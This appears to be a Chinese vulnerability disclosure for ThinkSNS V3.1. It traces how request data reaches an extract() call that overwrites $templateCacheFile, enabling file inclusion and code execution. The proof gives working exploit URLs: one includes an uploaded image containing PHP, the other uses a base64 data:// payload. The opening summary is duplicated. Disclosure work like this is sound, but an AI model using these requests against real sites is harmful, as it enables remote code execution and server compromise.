### 简要描述: 代码执行漏洞 ### 详细说明: ``` 漏洞文件: /addons/widget/FeedListWidget/FeedlistWidget.class.php 漏洞函数: getData() getData函数位于/addons/widget/FeedListWidget/FeedlistWidget.class.php 在第262行处调用renderFile函数进行渲染模版。 private function getData($var, $tpl = 'FeedList.html') { $var['feed_key'] = t($var['feed_key']); $var['cancomment'] = isset($var['cancomment']) ? $var['cancomment'] : 1; //$var['cancomment_old_type'] = array('post','repost','postimage','postfile'); $var['cancomment_old_type'] = array('post','repost','postimage','postfile','weiba_post','weiba_repost'); // 获取微博配置 $weiboSet = model('Xdata')->get('admin_Config:feed'); $var = array_merge($var, $weiboSet); $var['remarkHash'] = model('Follow')->getRemarkHash($GLOBALS['ts']['mid']); $map = $list = array(); $type = $var['new'] ? 'new'.$var['type'] : $var['type']; // 最新的微博与默认微博类型一一对应 //。。。。此处省略1万字 $content['html'] = $this->renderFile(dirname(__FILE__)."/".$tpl, $var); //调用renderFile进行渲染模版 return $content; }...
### 简要描述: 代码执行漏洞 ### 详细说明: ``` 漏洞文件: /addons/widget/FeedListWidget/FeedlistWidget.class.php 漏洞函数: getData() getData函数位于/addons/widget/FeedListWidget/FeedlistWidget.class.php 在第262行处调用renderFile函数进行渲染模版。 private function getData($var, $tpl = 'FeedList.html') { $var['feed_key'] = t($var['feed_key']); $var['cancomment'] = isset($var['cancomment']) ? $var['cancomment'] : 1; //$var['cancomment_old_type'] = array('post','repost','postimage','postfile'); $var['cancomment_old_type'] = array('post','repost','postimage','postfile','weiba_post','weiba_repost'); // 获取微博配置 $weiboSet = model('Xdata')->get('admin_Config:feed'); $var = array_merge($var, $weiboSet); $var['remarkHash'] = model('Follow')->getRemarkHash($GLOBALS['ts']['mid']); $map = $list = array(); $type = $var['new'] ? 'new'.$var['type'] : $var['type']; // 最新的微博与默认微博类型一一对应 //。。。。此处省略1万字 $content['html'] = $this->renderFile(dirname(__FILE__)."/".$tpl, $var); //调用renderFile进行渲染模版 return $content; } renderFile函数定义于文件core/OpenSociax/Widget.class.php中: protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') { $var['ts'] = $GLOBALS['ts']; if (! file_exists_case ( $templateFile )) { // 自动定位模板文件 // $name = substr ( get_class ( $this ), 0, - 6 ); // $filename = empty ( $templateFile ) ? $name : $templateFile; // $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' ); // if (! file_exists_case ( $templateFile )) throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' ); } $template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' ); $content = fetch($templateFile,$var,$charset); //调用fetch函数载入模版 return $content; } 进一步跟进fetch函数,fetch函数实现上可能存在任意变量覆盖漏洞: fetch函数定义在core/OpenSociax/functions.inc.php中(第939行开始): function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) { //注入全局变量ts global $ts; $tvar['ts'] = $ts; //$GLOBALS['_viewStartTime'] = microtime(TRUE); if(null===$templateFile) return ; if(empty($charset)) $charset = C('DEFAULT_CHARSET'); header("Content-Type:".$contentType."; charset=".$charset); header("Cache-control: private"); ob_start(); ob_implicit_flush(0); if(''==$templateFile){ $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html'; }elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) { $templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html'; }elseif(file_exists($templateFile)){ }else{ throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']'); } $templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php'; if(!$ts['_debug'] && file_exists($templateCacheFile)) { //if(1==2){ extract($tvar, EXTR_OVERWRITE); //可能导致变量覆盖 //载入模版缓存文件 include $templateCacheFile; //变量templateCacheFile可能会被覆盖,导致任意文件包含漏洞 第982行处调用参数为EXTR_OVERWRITE标示的extract函数,extract代码下面即为include $templateCacheFile 只要能控制fetch的第2个参数$tvar,就可以将$templateCacheFile覆盖为任意值。 回到/addons/widget/FeedListWidget/FeedlistWidget.class中,在第105行处存在以下代码: $content = $this->getData($_REQUEST,'_FeedList.html'); if(empty($content['html'])){//没有最新的 $return = array('status'=>0,'msg'=>L('PUBLIC_WEIBOISNOTNEW')); }else{ 直接将$_REQUEST传入函数getData,导致可以从客户端传递templateCacheFile进行变量覆盖实现任意文件包含,最终可实现任意代码执行。 ``` ### 漏洞证明: ``` 【方法一: 本地代码执行】 0x01 普通用户登录后,上传一张含有php代码的图片,图片的内容为 <?php phpinfo();die;?> ``` [<img src="https://images.seebug.org/upload/201502/04193456a6a420749bd8c07f62d63d5d189a0ba1.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/04193456a6a420749bd8c07f62d63d5d189a0ba1.png) ``` 上传后获取到图片路径为:datahttps://images.seebug.org/upload/2015/0102/02/54a5970c2347f_100_100.jpg 0x02 利用变量覆盖实现文件包含并任意执行php代码 http://127.0.0.1/ThinkSNS_V3.1/?app=widget&mod=feedlist&act=getdata&maxId=11111111&act=loadNew&templateCacheFile=datahttps://images.seebug.org/upload/2015/0102/02/54a5970c2347f_100_100.jpg ``` [<img src="https://images.seebug.org/upload/201502/04193445a8a16a62cb1be55415fa62e100b52b7e.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/04193445a8a16a62cb1be55415fa62e100b52b7e.png) ``` 成功执行datahttps://images.seebug.org/upload/2015/0102/02/54a5970c2347f_100_100.jpg的代码 【方法二:远程代码执行】 (当allow_url_include=On时有效) http://127.0.0.1/ThinkSNS_V3.1/?app=widget&mod=feedlist&act=getdata&maxId=11111111&act=loadNew&templateCacheFile=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2RpZTs/Pg== ``` [<img src="https://images.seebug.org/upload/201502/041934331fac570f907c056b4ac07b3a7dc8d25b.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/041934331fac570f907c056b4ac07b3a7dc8d25b.png) ``` PD9waHAgcGhwaW5mbygpO2RpZTs/Pg==是<?php phpinfo();die;?>的base64编码 ```